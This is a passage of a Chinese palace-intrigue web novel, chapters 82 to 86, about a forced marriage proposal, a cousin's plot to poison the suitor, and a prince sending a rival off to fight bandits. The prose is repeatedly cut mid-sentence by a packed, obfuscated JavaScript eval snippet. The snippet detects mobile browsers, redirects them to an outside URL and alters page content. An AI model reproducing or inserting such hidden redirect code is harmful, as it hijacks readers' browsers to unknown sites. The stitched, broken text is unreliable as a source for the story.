“殿下,臣女的姐姐姜姝宁至今仍对大哥姜天恩的死耿耿于怀,甚至将一切罪责归咎于殿下。今日,臣女无意中听到她在祠堂内,对着大哥的灵位,说出‘三皇子此行西榆,在劫难逃!’这等大逆不道之言!臣女担心姐姐会对殿下不利,还请殿下务必小心提防!” 听到这话,萧修湛放声大笑,语气轻蔑:“你姐姐并非大逆不道,而是痴人说梦!本皇子岂是她跪拜灵位、诅咒几句,便能轻易陷害的?” 第82章 顾亦庭求娶 第八十二章顾亦庭求娶 姜瑶真见他并不将此事放在心上,心中更加焦灼。 “殿下万不可轻敌!如今四皇子与五皇子皆对姐姐言听计从,若是她铁了心要陷害殿下,定能找到帮手!” “就凭他们?”萧修湛眉宇间满是不屑,“即便他们联手,也休想在这剿匪行动中伤我分毫!” 见他如此成竹在胸,姜瑶真反而生出几分疑虑。 “殿下,臣女听闻西榆的匪徒并非寻常贼人,而是西洲国的溃兵残将,个个凶悍残暴,难道殿下便不怕此行凶险吗?” 西榆地处大邺与西洲交界,乃是两国边陲重镇,常年饱受西洲兵祸侵扰,百姓苦不堪言。 西洲地势险要,易守难攻,大邺虽屡次兴兵征讨,却始终未能将其攻克。 后来,传闻有不少西洲士兵趁乱潜入西榆,落草为寇,啸聚山林,成为当地一大祸患。 萧修湛闻言,轻笑出声,指尖轻柔地划过她白皙如玉的脸庞:“若本皇子是那等贪生怕死之徒,姜二姑娘还会倾心于我吗?” 姜瑶真故作娇羞,垂下眼帘:“臣女自是知晓殿下英明神武,无惧那些乌合之众。可臣女毕竟是您的未婚妻,怎能不为您的安危担忧?” “你究竟在怕什么?”萧修湛指尖在她脸颊上暧昧地游走,语气带着几分戏谑,“莫非是怕本皇子命丧匪巢,让你年纪轻轻便要守寡?” “殿下慎言!”姜瑶真急忙伸手捂住他的嘴,美目圆睁,似嗔似怒。 萧修湛唇角的笑意愈发深邃,他反手扣住她的手腕,一边轻吻她的青葱手指,一边诱哄道:“若是真怕,不如给本皇子怀个孩子,届时就算本皇子有个万一,有腹中的孩儿傍身,你永远都是名正言顺的三皇子妃!” 姜瑶真虽觉得他的话不无道理,可转念想到自己身上还中着萧凌川下的毒,怕对子嗣不利,便佯装羞恼,一把推开他,嗔道:“殿下莫要这般轻薄,臣女绝非如此随意之人!” 萧修湛向来见惯了投怀送抱的女子,她这般欲拒还迎的姿态,反倒令他更加心痒难耐。 他忍不住在她娇嫩的脸颊上落下一吻,柔声道:“真儿放心,我定会凯旋而归,让父皇亲眼看看,谁才是他最有能耐的儿子!” 姜瑶真顺势抱住他劲瘦的腰,将头埋入他结实的胸膛,轻声呢喃:“真儿等殿下归来,功名利禄皆是过眼云烟,真儿只愿殿下能够平安归来便好!” —— 自从三皇子主动请缨,领命剿匪,姜姝宁便日日掐算着他启程之期。 为仇敌默数着走向黄泉的日子,别提多快意了! 今生少了阿蒙那般悍勇之人替他挡刀,萧修湛定会葬身于西榆匪窝,尸骨无存! 然而,还未等到萧修湛启程,姜姝宁就等到了一个让她既震惊又恶心的消息——顾御史竟亲自登门,为他的独子顾庭提亲,指名道姓要迎娶她。 这可把她和姜丞相都恶心坏了。 若非顾忌顾御史在御史台的权势,以及他那张颠倒黑白的嘴,姜丞相恨不得立刻将他轰出相府。 两家素来交恶,这顾御史心知肚明,如今竟上门提亲,简直厚颜无耻。 姜姝宁被唤至厅堂,会见这位当今太子的亲舅舅。 她开门见山地问:“顾大人,您确定令郎想要求娶的人,是我?” 顾御史笑着答道:“那是自然!你那妹妹不是早就与三皇子殿下定下婚约了吗?如今相府只剩下你这么一位待字闺中的女儿,庭儿要娶的,自然是你姜姝宁!” 姜姝宁声音陡然变得冰冷:“顾大人,恕我直言,我实在看不出令郎对我有半分情谊。若这是您的意思,我劝您还是不要强行乱点鸳鸯谱,最好先问过他的意思。” “姜姑娘请放心,这的确是庭儿的心意。他还特意托老夫带一份礼物给你,你看看是否喜欢。”顾御史说着,便要从宽大的袖袍中取出礼物。 “不喜欢!”姜姝宁语气生硬,斩钉截铁地拒绝道。 “老夫还未将礼物拿出……” “顾大人,我的意思很明确,我不喜欢令郎顾庭。无论他送什么样的礼物给我,我都绝不会接受这门亲事,还请顾大人请回吧!恕不远送!”姜姝宁丢下这句话便起身,头也不回地离开了厅堂。 顾御史错愕不已,连连叹息:“哎,你这个孩子怎么……” 一旁始终沉默不语的姜丞相开口道:“顾大人,您也看到了,小女对令郎并无爱慕之意。既然如此,婚姻之事强求不得,您还是请回吧!” “姜大人此言谬矣!这缔结婚姻,最不重要的便是男女之情,此物最是靠不住!”顾御史意味深长道,“结亲结的是利益,是人脉,是家族的兴盛!老夫不妨打开天窗说亮话,从前大人您鼎力支持三皇子,可若非他苦苦相逼,令郎又怎会丧命?难道大人真的要一条道走到黑,继续扶持他上位吗? 我顾家想与你姜家结亲,一方面是觉得两个孩子年纪相仿,也算得上是天作之合;另一方面,这亲事若成,太子殿下便能名正言顺地成为相府的坚实后盾,为姜家遮风挡雨。难道,姜大人当真一点都不为之心动吗?” 听到这番话,姜丞相的神色终于出现了一丝动摇。 想当初,他可是朝堂之上最为坚定的三皇子党羽,在皇帝提出“废长立贤”的惊世之举时,他也是第一个站出来拥护的。 他一直对萧修湛寄予厚望,认为他无论是才学谋略,还是武功韬略,亦或是背后的母族势力,都完全符合一位明君圣主的标准与要求。 可谁曾想到,自己唯一的独子,竟然会惨死于这位他曾极力拥护的三皇子之手! 昔日对萧修湛有多支持,如今就对他有多恨之入骨! 若要与他抗衡,最明智的选择,的确是转而投靠太子。 姜丞相犹豫片刻后说道:“只是宁儿手中握有太后娘娘亲赐的懿旨,她的婚姻大事可由自己做主,莫说是外人,就是我这个做父亲的,也难以干涉啊。” “姜大人此言差矣,令嫒不肯,您可以耐心劝导嘛!毕竟是父女,血浓于水,总能说得通的!”顾御史笑容可掬,“老夫已经将太子殿下的意思带到了,接下来如何抉择,就全看姜大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他是跟自己究竟有多大的仇怨,竟让顾御史跑到丞相府来提亲,也不嫌膈应人。 听到她的回答,姜天泽这才如释重负地松了口气,笑着说道:“那就好。那顾庭公子压根配不上大姐姐。” 就在此时,姜丞相神色复杂地走了过来。 “父亲,顾御史已经回去了吗?”姜姝宁迎上前去问道。 姜丞相看着她,斟酌了片刻,才缓缓开口道:“宁儿,关于你和顾家公子的婚事,父亲希望你……再认真地考虑考虑。” 姜姝宁一听这话,脸色顿时骤变。 —— 姜天泽脚步匆匆地赶回了西院。 他一把推开姜三夫人的房门,急切道:“母亲,请您给我一种无人知晓、能让人在痛苦煎熬中悄无声息死去的剧毒!” 姜三夫人闻言,不由得一愣:“天泽,你要这种毒物做什么?” 姜天泽那张俊美无俦、靡丽动人的脸庞上,竟浮现出一丝与他年龄极不相称的阴鸷与诡异:“我打算……送顾家的那位顾庭公子下地府!” 第83章 一语成谶 第八十三章一语成谶 “大伯竟然要将姝宁嫁给顾家公子?”姜三夫人满脸难以置信,继而安抚道,“大伯和那顾御史是势同水火的死对头,他怎么可能将自己女儿嫁到仇人家中?依我看,这桩婚事多半是成不了的!” “母亲,大哥天恩死于三皇子之手,大伯如今自然只能转而投靠太子,这姜顾联姻便是投名状。顾御史是太子亲舅舅,这层关系,大伯不会不明白。” 姜天泽的眉宇间笼罩着一层阴郁,语气森然,“不管大伯是为了自保还是为了复仇,总之,我绝不允许任何人娶走大姐姐!所以,那顾亦庭,必须死!” 姜三夫人沉声道:“好,就依你。只是这配置新的剧毒,需要耗费一些时日,你得耐心等待才行。” “无妨,只要能赶在顾亦庭与大姐姐的婚宴之前制备妥当便好。”姜天泽的嘴角勾起一抹阴冷的笑,“届时,我便将这无色无味的剧毒,神不知鬼不觉地投入那顾亦庭的酒菜之中,让他连洞房花烛夜都等不到,便一命呜呼!” “可是……你这样做,你大姐姐岂不是要背负上克夫的恶名?”姜三夫人略有些担忧地提醒道。 “我要的,就是这个结果!”姜天泽的语气平静得可怕,甚至带着几分隐隐的期盼,“如此一来,这世上就再也没有人敢上门求娶大姐姐,她也便能顺理成章地留在相府,与我朝夕相处,长相厮守。” 姜三夫人看着儿子这幅病态而偏执的模样,心中不免一阵心惊肉跳。 “天泽,你就不怕她知道真相后,会对你心生怨恨,恨你入骨吗?” “母亲,您不懂。恨与爱一样,都是一种在意,一种深刻情感的羁绊。”姜天泽的脸上浮起一抹阴鸷的笑,语气中透着一股令人毛骨悚然的疯狂,“如果今生注定得不到她的爱,那么,能得到她的恨,也是好的。” —— 姜姝宁此刻尚不知晓,那个平日里温润如玉的三弟,心中正对她滋生着怎样一种扭曲而疯狂的占有欲。 她正与姜丞相对面而坐,神色凝重。 “父亲若想转而支持太子,女儿并不反对。但支持太子,也并非一定要与顾家联姻。” “宁儿,你误会了,我并非支持太子,只不过不想让三皇子那种穷凶极恶之人主宰这大邺的江山社稷!”说到此处,姜丞相的双目泛红,语气中充满了悲愤,“否则,等将来我到了九泉之下,到了阴曹地府,该如何面对我那可怜的恩儿啊!” 姜姝宁闻言,也不禁眼眶发潮。 丧兄之痛,如同一把尖刀,日日夜夜地剜割着她的心脏,让她寝食难安。 她与父亲一样,无时无刻不在承受着失去至亲的巨大痛苦,恨不得将那罪魁祸首萧修湛**万段! “父亲,请您再给女儿一些时间,女儿一定会让您亲眼看到三皇子那个恶徒的悲惨下场,让他以血祭奠大哥在天之灵!”她目光晦涩,“不日他便将奉旨启程前往西榆剿匪,待他抵达匪巢那日,便是他的死期!” 姜丞相听到这番话,顿时大吃一惊。 “宁儿,你究竟想要做什么?他可是当今皇子,你万万不可做出什么不理智的事情来!” “父亲请放心,女儿不会鲁莽行事,更不会派人去暗杀他。”姜姝宁声音里透着几分笃定,“若他真的**,那也是他的报应!” 看着女儿这幅胸有成竹的模样,姜丞相心中反而有些不安起来。 可转念一想,姜姝宁并非鲁莽行事之人,她既然如此笃定,想必是已经有了万全之策。 如果萧修湛当真难逃此劫,那么他又何必牺牲女儿的幸福,强行将她嫁入顾家呢? 想到这,姜丞相下定决心,缓缓道:“既然如此,那这桩婚事,我便先帮你回绝了。一切,等三皇子剿匪归来之后,再做决断。” “谢父亲!”姜姝宁唇角微勾,脸上浮起一丝胜券在握的笑意。 她很想立刻告诉父亲,萧修湛是绝对不可能活着回来了。 可她又担心父亲会追根究底,只能先忍着不说。 顾御史回到府中,顾亦庭连忙迎上前去,迫不及待地问:“父亲,姜丞相可应允这门婚事了?” “哼,由不得他不答应!如今的姜家,已是腹背受敌,他们还有选择的余地吗?”顾御史胸有成竹道,“三皇子可不是什么心慈手软的善类,姜丞相就算不为自己考虑,也得顾及姜家上上下下几百口人的性命,转而投靠太子殿下,寻求庇护。他们应下这桩婚事,不过是早晚的事罢了!” 听到父亲肯定的答复,顾亦庭悬着的心终于放了下来:“如此便好。” 顾御史看着儿子,眼中多了几分赞赏:“亦庭,为父知道,你并非真心喜欢姜家嫡女,你之所以主动提出和姜家结亲,完全是为了太子殿下的宏图大业,以及顾家的未来着想。为父甚感欣慰!你终于长大了,懂事了!往后顾家声望的壮大,定然有你一份功劳!” 顾亦庭脸上掠过一丝心虚,他连忙垂眸,掩饰住眼底的真实情绪。 “父亲谬赞,孩儿愧不敢当。” 事实上,他执意求娶姜姝宁,不是为了顾家,更不是为了太子,而是为了姜瑶真。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620105|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他要让姜姝宁尽快“名花有主”,以免她继续周旋在各个皇子之间,破坏姜瑶真与三皇子的姻缘。 只不过,他的这番私心,倒是歪打正着,正好与父亲和太子的意愿不谋而合罢了。 听说顾亦庭要娶姜姝宁,顾晚樱着实惊讶不已。 “你要娶姜姝宁?你不是一直对姜瑶真情有独钟吗?怎么突然移情别恋了?”顾晚樱追问道。 顾亦庭脸色顿时一沉:“慎言!姜二姑娘如今是准三皇子妃,你这般口无遮拦,会毁了她名声的!” “她那种人,还有什么名声可言?”顾晚樱不屑地冷哼一声,“你都不知道,她私底下有多爱招蜂引蝶!她仗着自己有几分姿色,就恨不得让所有男人都围着她转!哥哥你幸好是要娶姜姝宁,要是真把姜瑶真那种女人娶回来,我敢保证,她迟早会做出见不得人的丑事,到时候我们顾家的脸都要被她丢光了!” “住口!”顾亦庭勃然大怒,厉声呵斥道,“你这样肆意诋毁他人,哪里还有半点未来太子妃的端庄仪态?” “哥,你这么生气做什么?我只是实话实说罢了!”她顿了顿,忽然秀眉微蹙,试探性地问道,“你该不会还喜欢姜瑶真吧?” “姜二姑娘容貌出众,才艺双绝,我喜欢她,有何不可?”顾亦庭并不打算掩饰自己对姜瑶真的欣赏和爱慕。 顾晚樱难以置信地瞪大了眼眸:“既然你喜欢姜瑶真,为什么还要求娶姜姝宁?哥,你疯了吗?” “我这么做,自然是为了……为了帮你的太子殿下拉拢姜家,巩固太子的势力!”顾亦庭连忙找了个冠冕堂皇的理由,以掩饰自己内心的不齿目的。 “况且,我作为顾家的独子,将来是要继承家业的,自然要娶一位门当户对的主母进门!相府嫡女身份尊贵,当然是最佳的求娶对象!” 顾晚樱对兄长的这番说辞嗤之以鼻。 “哥,你求娶之心如此不纯,小心将来会遭报应!” 没想到,这句玩笑话竟一语成谶。 皇宫景和宫里,听闻顾亦庭准备求娶姜姝宁一事,萧凌川盛怒之下,将茶盏摔了个粉碎。 “顾亦庭,他也配?!”他澈黑的眼眸阴沉得可怕。 一旁的七皇子萧琪钰宽慰道:“姜顾两家素来不合,姜丞相不会答应这门亲事的!再说了,姜姑娘有皇祖母的懿旨,没人能决定她的终身大事,四哥,您就放心吧!” “不,我要让顾亦庭明白,自不量力,也是要付出代价的!” 萧凌川桃花眸里戾气翻涌,宛如地狱修罗一般,令人不寒而栗。 第84章 敢抢本皇子的女人 第八十四章敢抢本皇子的女人 翌日,顾亦庭被萧凌川召入皇宫。 不知为何,一踏进景和宫,他便觉得四周弥漫着一股令人窒息的低气压,让他连喘息都觉得费劲。 尤其是萧凌川投向他的目光,如同淬了毒的利刃一般,充满了煞气,锋利可怖,仿佛能瞬间将他穿透。 顾亦庭绞尽脑汁,也想不出自己究竟何处得罪了这位喜怒无常的四皇子。 上次无意中撞见他和姜瑶真的私会,也是让姜姝宁出面制止,他压根不敢当面招惹这位性情阴郁的皇子。 “在下顾亦庭,见过四皇子殿下。不知殿下召见在下,所为何事?”他战战兢兢地行了个礼。 萧凌川神色冰冷地审视了他片刻,嘴角忽然勾起一抹嘲讽的弧度,嗤笑出声:“本皇子听说,你打算求娶姜府的嫡长女姜姝宁?” 顾亦庭闻言一愣,没想到萧凌川消息竟如此灵通。 他不敢有丝毫隐瞒,如实回答道:“确有此事。家父一直希望在下能早日成家立业,迎娶一位门当户对的贤淑女子。姜姑娘与在下年纪相仿,端庄贤淑,温婉可人,所以……” “你也配?!”萧凌川忽然怒吼一声,将手中的把玩的茶杯猛地扔到他脚边,上好的瓷器瞬间四分五裂,发出令人毛骨悚然的破碎声。 这突如其来的暴怒让顾亦庭脸色煞白。 “殿下息怒!在下不知自己做错什么,还请殿下明示!” 萧凌川怒气未消,他俯视着顾亦庭,语气阴鸷:“敢跟本皇子抢女人,顾亦庭,你当真勇气可嘉!” 顾亦庭一愣,一时间竟有些消化不过来。 他要求娶的是姜姝宁,可四皇子说,他在跟他抢女人。 所以,四皇子心悦之人竟是……姜姝宁?! 意识到这点的他慌忙下跪:“殿下息怒,在下实在不知姜姑娘原来是殿下心仪之人,是在下不自量力,请殿下恕罪!” “顾公子勇气可嘉,何罪之有?”萧凌川脸上怒意尽褪,取而代之的是一种令人捉摸不透的玩味笑容。 他慢条斯理地说道,“不过,不过,顾公子的这份勇气应该用在更合适的地方,才不至于白白浪费。不如就随我三哥一同前往西榆剿匪吧,也好将你这多余的勇气好好磨砺一番!” 这话简直如晴天霹雳,瞬间将顾亦庭震得魂飞魄散。 他浑身颤抖得更加厉害,脸色也变得惨白如纸:“殿下,在下实在不堪大用啊!在下不懂拳脚功夫,去了只会拖三皇子的后腿!” “顾公子太谦虚了,你勇气过人,就算没有拳脚功夫也定能勇闯匪巢。我已经将此事禀明父皇,相信很快,你们顾家便会收到圣旨。顾公子还是抓紧时间,好好准备一下启程事宜吧!” 顾亦庭知道萧凌川动了真格,连忙拼命磕头:“求殿下收回成命!求殿下开恩!” 可他把额头都磕破了,萧凌川依旧无动于衷。 “来人,将顾公子送出宫去。”萧凌川语气淡漠地吩咐道,“他不久之后便要启程西行,还得给他留出一些时间,让他好好准备行囊,与家人道别才是!” 顾亦庭失魂落魄地回到顾府。 没想到刚踏进顾府大门,圣旨就来了。 顾家人跪了一地,内侍用尖细的嗓音念到: “奉天承运,皇帝诏曰: 朕闻西榆之地,匪患猖獗,百姓苦不堪言。 顾御史之子顾亦庭,年少有为,才华出众,朕甚为嘉许。 今特召顾亦庭,随三皇子一同西行,协助剿匪事宜,以彰显朕对忠良之后之器重,亦期望他能在此次行动中建功立业,为大邺作出贡献。 钦此!” 顾亦庭还没听完圣旨,便眼前一黑,直接晕厥了过去。 醒来时,顾母在一旁哭哭啼啼:“这究竟是造了什么孽啊!庭儿明明是个手无缚鸡之力的文弱书生,陛下怎么会突然下旨,让他跟随三皇子殿下一起前往西榆剿匪呢?这分明就是要逼他去送死啊!” 顾亦庭气若游丝:“母亲,父亲呢?” “他去找陛下求情,恳请陛下收回成命。”顾母紧紧地握着他的手,哽咽道,“儿啊,你放心,你可是我们顾家唯一的命根子,你父亲无论如何,都不会让你去冒这个险的!” 顾亦庭心中顿时燃起一丝希望:“对,父亲一定可以说服陛下,让我不用跟着去剿匪的!” 一旁的顾晚樱眉头紧锁:“陛下怎么会突然让哥哥你一个文弱书生去剿匪?究竟是谁给陛下出的馊主意?” 顾亦庭欲哭无泪:“是四皇子殿下。原来他心悦之人是姜姝宁,听我想求娶姜家嫡长女,便立刻把我召进宫里,狠狠地羞辱了一顿!这还不够,他竟然还撺掇陛下,让我跟随三皇子前往西榆剿匪,这分明就是要将我往绝路上逼啊!” 顾晚樱听了,无奈地摇了摇头,叹息道:“哥,我早就跟你说过,你求娶姜姝宁的动机本就不纯,肯定会遭到报应的,只是没想到,这报应竟然来得如此之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620106|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快!” 萧凌川如今圣眷正隆,深受皇帝器重,他的话,陛下自然言听计从。 得罪了这样一位心狠手辣的主儿,哥哥也只能怪自己时运不济,认栽了! 顾御史跌跌撞撞去了御书房,皇帝正凝神作画,见他到来,似有所料,脸上浮起一抹若有若无的嘲讽:“顾大人今日前来,莫非又要进谏?” 顾御史顾不得行礼,急声道:“陛下,臣今日并非进谏,而是有一事相求。” “哦?难得顾大人也有求朕之时,说吧,何事?”皇帝这才放下画笔,目光淡淡地扫了他一眼。 “陛下,臣恳请您收回成命,免了犬子亦庭的剿匪之行!犬子手无缚鸡之力,此去西榆,非但无益,反会成为三皇子殿下的累赘!”顾御史伏地叩首,语气悲切。 皇帝轻笑一声:“顾大人多虑了。西榆剿匪乃国之大事,朕岂会不知令郎乃文弱书生?此番让他随行,并非要他冲锋陷阵,而是让他见识一番,增长阅历。待得凯旋之日,朕自会**行赏,授他一官半职,以为朝廷效力!” 顾御史面色惨白,犹豫片刻,猛地跪倒在地:“陛下美意,臣感激涕零!然犬子自幼体弱多病,不堪劳顿,又乃顾家独苗,若有不测,臣顾家便要绝后矣!恳请陛下怜悯!” 这番话令皇帝脸色骤寒,语气也变得凌厉起来:“顾大人的儿子是宝贝,难道朕的儿子就不是了吗?剿匪是利国利民的大事,朕的老三尚且不畏艰险,主动请缨,顾大人却舍不得令郎吃一点苦头!朝廷供养你们,难道是让你们临阵退缩的吗?” 顾御史连忙叩首,惶恐道:“陛下息怒!臣绝无此意!” “罢了。”皇帝语气稍缓,“念你往日劳苦功高,朕不予追究。但西榆剿匪一事,令郎必须去!这是朕给顾家一个建功立业的机会,莫要辜负朕的期望!” 顾御史见事已至此,无力回天,只得含泪谢恩,退出了御书房。 皇帝望着他离去的背影,冷哼一声:“平日里进谏的时候,不是挺能言善辩吗?如今也让你尝尝这般低声下气的滋味!” 一旁的大总管陈顺见状,连忙奉上一杯香茗,谄媚道:“还是四皇子殿下英明,此计甚妙,既挫了顾御史的锐气,又能在三皇子殿下身边安插一个眼线,真是一箭双雕啊!” 皇帝面露愉悦之色:“老四确实深得朕心!去,宣苏美人来,朕批阅奏折乏了,想闻闻美人身上的香气,舒缓一下心情!” “奴才遵旨!”陈顺躬身应道。 第85章 醉酒娇憨 第八十五章醉酒娇憨 御书房内,暗香浮动。 凝香娇弱无力地卧在案前,香汗淋漓,透着几分靡靡风情。 皇帝心满意足地靠在椅背上,轻佻地捏了一把她腰间的软肉,有些意犹未尽道:“苏美人天生异香,着实令朕欲罢不能。若非朝堂上那群老家伙死盯着敬事房不放,朕恨不得夜夜都翻你的牌子。” 他虽后宫佳丽万千,却没有一个如苏美人这般风情万种,不仅身带异香,更深谙闺房之乐,让他难以自拔。 凝香起身,含羞带怯地穿着衣服:“得陛下宠爱,是妾身十世修来的福气。” 她本就受过专门的调教,就连穿衣都带着几分欲拒还迎的魅惑。 皇帝看得心口发热,一把将她拉到自己腿上来,迫不及待地想要一亲芳泽。 凝香用手指抵住他的唇,神色柔媚:“陛下今日兴致颇高,难道是有什么喜事?不如说来给妾身听听,也好让妾身跟着一起高兴高兴?” 皇帝朗声大笑:“还是爱妃最懂朕的心思!今日朕狠狠地挫了挫那顾御史的锐气,那老东西跑来求朕,想让朕收回让他儿子随老三一同前往西榆剿匪的成命,朕自然是断然拒绝!看他哭丧着脸,如丧考妣般退下,朕心里别提有多痛快了! 你不知道,那老家伙平日里在朝堂之上,仗着资历老,没少指桑骂槐地讽刺朕,简直目中无人,嚣张至极!朕早就想好好教训他一番了!” “陛下英明。”凝香娇媚一笑,眼波流转,“三皇子殿下此番领兵前往西榆,定然劳苦功高,陛下难道不该给他赏赐,以示恩宠吗?” 皇帝眸光一凛,骤然捏住她的下巴,笑容玩味,却丝毫没有温度:“老三尚未立功,朕如何给赏赐?苏美人,你是不是太着急了?” 凝香故作惊慌,长长的睫毛微微颤动,如受惊的小鹿般楚楚可怜:“妾身该死,是妾身僭越,还请陛下恕罪!” “好了,你先退下吧,朕有些乏了。”皇帝漫不经心地挥了挥手,语气淡淡道,“让陈顺进来伺候朕更衣。” “是,陛下!”凝香连忙整理好衣衫,一副惊恐不安的模样,匆匆退出了御书房。 在她转身的那一瞬间,脸上却掠过一丝得逞的狡黠笑意。 待凝香走后,皇帝一边让陈顺伺候自己穿衣,一边语气冰冷地吩咐道:“给朕暗中查一查,老三和苏美人之前是否相识!” “奴才遵命!”陈顺连忙应道。 皇帝的眼底,闪过一丝令人胆寒的戾气。 若老三竟敢将手伸到他的后宫之中,那就实在太放肆了。 这样的皇子,本事越大,对他的威胁越大。 他的皇子必须是唯命是从的臣子,而不是觊觎皇位、随时准备取而代之的储君! —— 顾亦庭终究难逃此劫,被迫踏上了西行的征程。 临行前,他依依不舍地向顾母嘱托道:“我埋在后院的那坛桃花酿,若是林兄来了,就替我赠与他吧,他嗜酒如命,我早已答应要送给他。” “书房里那方江南砚台,是我特意为老师购置的,记得务必送到老师府上,以表我的敬师之情。” “还有我那些珍藏的字画……” 一旁送别的顾晚樱听得心烦意乱,忍不住抱怨道:“哥哥,这些琐事等你平安归来再做也不迟啊,何必如此絮絮叨叨,徒增伤感?” 顾亦庭闻言一怔,这才猛然意识到,自己方才所言,竟句句都像是在交代后事一般。 他顿时如坠冰窟,一股莫名寒意从脚底直窜脑门,心中涌起强烈的不安。 顾母也察觉到了他的异样,紧紧握住他的手,关切地问道:“庭儿,你这是怎么了?莫不是身子不适?” “母亲,别理他,他就是故意拖延时间罢了!”顾晚樱没好气地说道,“哥哥,三皇子和剿匪大军都在等着你呢,误了时辰,可是要治罪的!快些上路吧!” 顾亦庭只得强行压下心中那挥之不去的不祥预感,与顾母和妹妹挥手作别。 顾御史因忧心此事,已经一病不起,如今还在缠绵病榻。 他们顾家妄图求娶姜姝宁一事,彻底触怒四皇子。 如今除了谨遵圣旨,随军西行,已然没有其他的退路可言了。 马车内,萧修湛轻掀车帘一角,目光冷冽地落在不远处那单薄身影上。 只见顾亦庭手提包裹,步履谨慎地登上另一辆马车。 萧修湛身旁的随从压低声音道:“殿下,陛下执意让顾御史的独子随行,莫不是想在殿下身边安插眼线?” 萧修湛冷笑一声,满是不屑:“不过是个手无缚鸡之力的羸弱书生,能成何气候?难道还能随本皇子深入匪巢,窥探机要不成?” “殿下英明!”随从连忙附和道,“待时机成熟,属下自会寻个由头将他支开,免得这小子碍手碍脚,坏了殿下的大计!” 萧修湛眼底掠过一丝寒芒,宛如冬日冰霜。 —— 听闻西行大军启程的消息,姜姝宁当晚便兴致高昂,特意吩咐人在后院的八角亭中燃起炉火,让整个翠竹院的人一同烤羊肉,饮果酒。 亭中,婢女嬷嬷们围炉而坐,推杯换盏,欢声笑语,好不热闹。 凌芜见姜姝宁已接连饮下数杯果酒,双颊染上酡红之色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620107|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忍不住问道:“大小姐今日似乎心情极佳,莫非是有什么喜事不成?” “当然!”姜姝宁笑靥如花,语气中带着一丝压抑不住的兴奋,“那该死之人,终于要迎来他的末日了!这世上再也不会有萧修——” 凌芜与夏蝉闻言,顿时花容失色,连忙上前捂住她的嘴:“大小姐定是喝多了,开始胡言乱语了!这些话可万万不能乱说啊!” “大姐姐,何事如此开怀?”一道清朗悦耳的少年嗓音传来。 众人循声望去,只见姜天泽面带微笑,缓步走入亭中。 “三少爷!”凌芜与夏蝉连忙恭敬地向他行礼。 姜姝宁醉眼迷离,语气娇软:“三弟来了?快过来,大姐姐我今日高兴,请你吃烤羊肉,喝美酒!” 凌芜生怕她酒后失言,口无遮拦,连忙对姜天泽道:“三少爷,大小姐醉得厉害,奴婢还是先扶她回房歇息吧,免得着凉。” 姜天泽从未见过姜姝宁这般醉态,只觉她双颊绯红,神色娇憨,心中不由泛起一丝异样的悸动。 “无妨,有我在,我会好好照顾大姐姐的。” 说着,他便上前一步,小心翼翼地扶住姜姝宁,让她重新坐回石凳上。 她身上散发着淡淡的酒香,若有似无,姜天泽只觉自己要被醉倒了。 姜姝宁冲着凌芜一笑:“不必担心,不过是些果酒罢了,我多吃些烤羊肉,这酒气啊,很快便会消散的!” 凌芜仍不放心地叮嘱道:“大小姐,您可千万要谨言慎行,方才那些话,断不可再轻易出口了!若是传到有心人耳中,恐会惹来祸端!” 姜姝宁乖巧地点了点头:“我知道了!快坐下一起吃吧!” 姜天泽目光灼灼地凝视着她,贪婪地欣赏着她微醺时娇艳动人的模样,按捺不住心中的悸动,悄悄凑到她耳畔,低声问道:“大姐姐,究竟是何事,能让你如此开怀?” 姜姝宁也学着他的模样,微微侧过身,在他耳边轻声道:“我最讨厌的人,今日终于离京了!我猜啊,他这辈子都没法回来了!” 少女温热的气息如兰似麝,带着淡淡的酒香,轻轻喷洒在姜天泽的耳畔,如羽毛般撩拨着他的心,让他心潮澎湃,难以自持。 “真是巧,我最憎恨之人,也是今日离开京城。不过,我不知道他是否还能回来。”姜天泽的声音低沉,带着一丝不易察觉的阴狠,“不过也没关系,若是他当真有命活着回来,我也会亲手送他下地府!” 顾亦庭,你最好死在西榆,尚且还有点尊严和名声。 否则,等待你的,将是我母亲精心研制的新毒,让你死得毫无尊严! 第86章 牡丹烟花 第八十六章牡丹烟花 姜姝宁听到这话,忍不住笑出声来。 她眉眼间醉意更浓,明艳不可方物。 “三弟说的对,若他不死,我便亲手送他下地府!” 